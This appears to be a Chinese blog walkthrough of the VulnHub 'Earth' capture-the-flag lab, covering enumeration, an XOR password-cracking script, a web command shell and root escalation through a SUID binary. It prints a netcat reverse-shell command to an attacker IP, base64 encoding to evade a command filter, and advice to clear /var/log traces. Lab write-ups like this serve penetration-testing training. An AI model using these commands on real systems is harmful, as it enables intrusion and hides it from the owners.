Vulnhub项目:Earth

靶机地址:The Planets: Earth ~ VulnHub

渗透过程:

首先查看靶机描述,需要获取2个flag

老样子,确定靶机ip,具体的就不详细写了,看图即可

 探测靶机开放端口

如果不进行dns绑定,就会出现下面的错误

将它要求的,域名和ip进行绑定

 

之后访问域名,就可到达主页

主页上,有输入框 ,底下应该是被加密的字符串,先暂且不管它

再没有其他信息,进行目录爆破,发现了/admin/login

对另外一个目录爆破,发现了/robots.txt

访问后发现了个奇怪的目录,后面是.*

尝试给它加txt后缀,发现了文档

 

该文档告知我们用户名是terra,采用异或加密,testdata.txt是用来加密的。访问它,是一段字符串

 

随后,对登录框进行访问

既然已经说的那么明显了,主页上最后一行很长的字符串就应该是最后加密出来的密文,那就写一段破解脚本,脚本如下:

# _*_ coding: utf-8 _*_
"""
Time:     2023/4/20 13:32
Author:   Ays.Ie
"""
import binascii
str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_str = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
#pass_str转换为16进制
pass_str_hex = binascii.b2a_hex(pass_str.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
#进行xor运算
res = hex(int(str, 16)^int(pass_str_hex, 16)).replace('0x', '')
#将结果转换成字符串
res_txt = binascii.unhexlify(res).decode('utf-8')
print(res_txt)

 运行出来,发现了都是重复的,那应该密码就是框起来的

用户名:terra        密码:earthclimatechangebad4humans 

尝试登陆后,登陆成功,出现了一个命令执行框

尝试id,给出了当前id为apache

下一步,找flag文件,输入

find / -name "*flag*"

发现了flag.txt文件,查看后得到了user_flag

[user_flag_3353b67d6437f07ba7d34afd7d2fc27d] 

下一步,提权至root,获取root_flag,命令行输入下面的命令,查询suid的程序

find / -perm -4000 2>/dev/null

发现存在一个reser_root的二进制执行文件,利用命令框执行,执行失败

那就先反弹shell吧,在本地开启监听,反弹shell

nc -e /bin/bash 192.168.56.104 8800 

被禁用了!!!!没办法了吗?

利用base64绕过,尝试下

echo 'nc -e /bin/bash 192.168.56.104 8800' | base64

bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK

echo bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguNTYuMTA0IDg4MDAK |base64 -d|bash

 

python生成一个交互式shell

利用nc将这个文件传到本地kali上进行分析

利用strace 对其进行分析后发现,缺少了这三个文件。

在shell中进入相应的目录,确实没有相关的文件,那就直接给创建上就行了

创建完后,再运行这个二进制执行程序,它将root的密码初始为Earth了,直接切换root用户即可提权

最后获取root_flag!

[root_flag_b0da9554d29db2117b02aa8b66ec492e] 

渗透结束!

总结:

最后总结下思路:

1、确定靶机ip、收集靶机开放端口、根据信息,进行ip和域名的绑定

2、访问页面,对页面进行收集,主要是查看有什么功能

3、对页面进行目录爆破,发现后台路径,隐藏文件

4、根据相关文件,进一步获取用户名和密码

5、编写脚本破译密码

6、利用命令执行,找寻flag、反弹shell,如果被拦截,可以利用其他方式绕过,例如base64、编码等

7、找寻具有suid的执行文件,提权

8、提权失败、strace分析文件,满足文件需求,再次执行

9、提权成功,获取flag

10、清理痕迹,/var/log

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值